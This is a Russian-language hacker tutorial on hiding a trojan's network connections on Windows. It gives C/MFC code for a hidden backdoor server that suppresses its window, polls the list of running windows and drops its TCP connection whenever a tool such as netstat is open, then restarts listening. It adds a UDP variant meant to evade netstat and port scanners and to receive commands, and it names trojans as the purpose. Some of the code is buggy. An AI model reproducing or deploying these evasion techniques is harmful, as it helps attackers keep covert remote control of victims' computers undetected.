Способы, рассмотренные в предыдущей статье, являются далеко не единственными, и если уж вглядеться, то ни такими уж и идеальными 🙂
В этот раз мы рассмотрим способы, которые обнаружение сетевых соединений не маловероятным, как это было в предыдущей статье, а невозможным. Ну почти невозможным 🙂 Если подумать, то сетевое соединение может быть обнаружено пользователем, ясен пень, не голыми руками 🙂 Для этого он будет использовать различными программы, например тот же netstat. Поэтому, как несложно догадаться, твоя прога может быть обнаружена только когда юзер запустил программу. Во избежании этого нужно все время проверять список
запущенных приложений.
Для начала рассмотрим, что из себя представляет код программы для определения запущенных оконных приложений.
HWND wnd1; // переменная окна.
HWND wnd2;
wnd1=GetDesktopWindow();//получение окна для destkop'a
wnd2=GetWindow(wnd1, GW_CHILD); // Получаем "ребенка" окна - т.е окно
// на уровень ниже.
char buf[128]="\0";
while (wnd2 !=0) //пока "дети" не кончились 🙂
{
wnd2 = GetWindow(wnd2, GW_HWNDNEXT); //получаем следующее дочернее окно
GetWindowText(wnd2,buf,128); //записываем заголовок этого окна в буфер.
//дополнительные функции.
}
А теперь приступим к написанию проги.
В indcul'ы добавим winsock2.h для работы с сетью, а
в Object/library modules нужно прописать библиотеку wsock32.lib
(для работы с сокетами). Так же необходимо убрать часть кода, выводящую форму программы на экран.
Например так - поставить условие 0 (никогда) на выполнение части кода, отвечающей за вывод формы программы на экран:
if (0)
{
AfxEnableControlContainer();
#ifdef _AFXDLL
Enable3dControls();
#else
Enable3dControlsStatic();statically
#endif
//код убран
return FALSE;
}
В этом случае программа внешне себя никак проявлять не будет 🙂
После этого можно приступить к написанию функциональной части кода.
Создаем сокет для сервера...
WSADATA WsaData;
int err = WSAStartup (0x0101, &WsaData);
if (err == SOCKET_ERROR) {
return 1;
}
создадим структура адреса для сокета:
SOCKADDR_IN tr1;
tr1.sin_family = AF_INET;
tr1.sin_port = htons(1234);//port
tr1.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");//IP
создадим сокет и "привяжем" его к структуре:
s = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
bind( s, (LPSOCKADDR)&sin1, sizeof(sin1));
... и пишем цикл, в котором будут происходить основные действия...
C начала запустим поток, который собственно и будет
выполнять основные действия -
AfxBeginThread(*Troy1,NULL);
UINT Troy1( LPVOID pParam )
{
pgo=1;
int sz=sizeof(tr2);
int os;
ls=listen(s,1);
if (ls!=-1)
{
s2=accept(s,(struct sockaddr*)&tr2,&sz);
//////дополнительные функции
}
pgo=0;
}
Конечно, структуры tr1,tr2, а также переменные сокетов - глобальные, потому как доступ к ним осуществляется из нескольких потоков.
Основная же программа будет выполнять следующее - постоянно считывать список запущенных приложений, искать в нем "ненужные" проги, и если таковые присутствуют - немедленно прерывать связь.
int pgo=0;//глобальная переменная, показывает, запущен ли сервер или нет.
int noexit=1;
int sost=0;//переменная наличия ненужной нам проги
while (noexit)
{
HWND wnd1; // переменная окна.
HWND wnd2;
wnd1=GetDesktopWindow();//получение окна для destkop'a
wnd2=GetWindow(wnd1, GW_CHILD);
char buf[128]="\0";
sost=2;
while (wnd2 !=0)
{
wnd2 = GetWindow(wnd2, GW_HWNDNEXT);
GetWindowText(wnd2,buf,128);
//Теперь проверяем, есть ли среди приложений интересующие нас.
//Например, можно будет вырубать связь, когда будет запущена какая-либо
//программа, имя которой начинается на net. Тот же netstat.exe или net.exe
if (buf[0]=='n')&&(buf[1]=='e')&&(buf[2]=='t')
{
shutdown(s,0);
sost=1;
//если запущена такая прога - прервать связь!
}
if ((sost==2)&&(pgo!=1))
{
AfxBeginThread(*Troy1,NULL);
//если такой проги нет и сервак не запущен - запускаем его.
}
}
}
В случае прямо-таки маниакальной паранои можно так же в список "ненужных" программ внести сканеры портов, только вот одно "но" - приложение будет запущено гораздо более длительное время, чем будет происходит собственно сам скан портов. Поэтому наилучшим вариантом будет совмещение обоих способов - с периодическим открытием порта и с экстренным выходом при запущенном netstat'e.
Так же нужно отметить, что рассмотренный выше способ годен не только для сокрытия сетевых соединений 🙂
Однако не следует забывать об еще одном методе сокрытия - работе через UDP протокол. Чем он хорош - что не требуется установления соединения для передачи данных, поэтому среди выданных netstat'ом подключений нашего не будет. Также открытый UDP порт не просечешь обычным сканером, потому как они действуют по принципу попытки установления соединений с нужным портом.
Правда, этот порт будет виден после просмотра как netstat.exe -an , но этот способ, к счастью, мало известен рядовым юзерам 🙂
Процедура открытия порта еще более незамысловата, чем в случае с TCP/IP протоколом:
SOCKADDR_IN tr1;
tr1.sin_family = AF_INET;
tr1.sin_port = htons(1234);//port
tr1.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");//IP
s = socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP);
//отличие - в виде протокола.
bind( s, (LPSOCKADDR)&tr1, sizeof(tr1));
Уже после этого порт готов передавать/принимать данные безо всяких системных вызовов типа listen и accept.
А теперь о минусах - так как соединение не устанавливается и для работы через это соединение не выделяется сокет, то адрес клиента, подключающегося к серверу, нужно будет устанавливать самому.
Мы не будем лезть в заголовки передаваемых пакетов, мы пойдем другим путем 🙂
Вариантов несколько - первый - сделать так, чтобы сервер слал ответные пакеты на какой-то заранее указанный адрес. Этот способ достаточно неплох в локалке, когда адреса статические, да и заодно позволяет только тебе работать с засланной прогой. Но минусов у него тоже хватает - в Инете он трудноосуществим, да и безопасность будет сильно хромать - если кому-то придет в голову мысль
декомпилировать твою прогу и разобраться в алгоритме, то хорошего
выйдет мало. Поэтому рассмотрим второй способ - IP адрес передается в теле одного из пакетов.
Поэтому после открытия порта нужно прочитать один пакет
char buf[];
int i=recv(s,buf,sizeof(buf),0);
if (i>0)
{
SOCKADDR_IN trs;
trs.sin_family = AF_INET;
trs.sin_port = htons(1234);//port
trs.sin_addr.S_un.S_addr = inet_addr(buf);//IP клиента
s2 = socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP);
}
После этого можно приступать к основной части:
char RecvBuf[1500];
char SendBuf[1500];
int nn;
int noexit=1;
int tw=100;
while (noexit) //пока нет команды на выход - читаем данные.
{
while ((nn=recv(s,RecvBuf,sizeof(RecvBuf),0))!=-1)
{
//пока нет ошибки принятия данных - читать далее
//здесь могут быть функции обработки полученных данных
//если нужно - посылаем ответный пакет.
int sizesb=sizeof(SendBuf);
int sztrs=sizeof(trs);
sendto(s2,SendBuf,sizesb,0,(struct sockaddr*)&trs, &sztrs);
//задержка на определенное время
Sleep(tw);//этот пункт обязателен! Без задержки другая сторона не успеет //принять большую часть
переданных пакетов.
}
}
Надо отметить, что прием/передача данных идет последовательно, т.е. принятые данные обрабатываются, и лишь затем посылается ответ, после которого опять идет запрос на прием данных. Но в программах типа троянов как правило не бывает большим массивов данных на прием, от клиента передаются только не особо длинные команды 🙂
Конечно, передача данных по протоколу UDP сопряжена с риском потерять их по дороге :), поэтому неплохо бы предусмотреть функцию, проверяющую время прохождения пакета по сети.
Алгоритм обычный - шлем пакет с запросом на тест, как только пришел ответ - смотрим время прохождения.
Это можно сделать как со стороны клиента, так и со стороны сервера. В любом случае нужная задержка будет в обе стороны - вот он, один из плюсов последовательной передачи данных :).
Так что способов много, и они не единственные
- дерзай, ведь идеальных программ не бывает, может придуманный тобой окажется проще и удачней.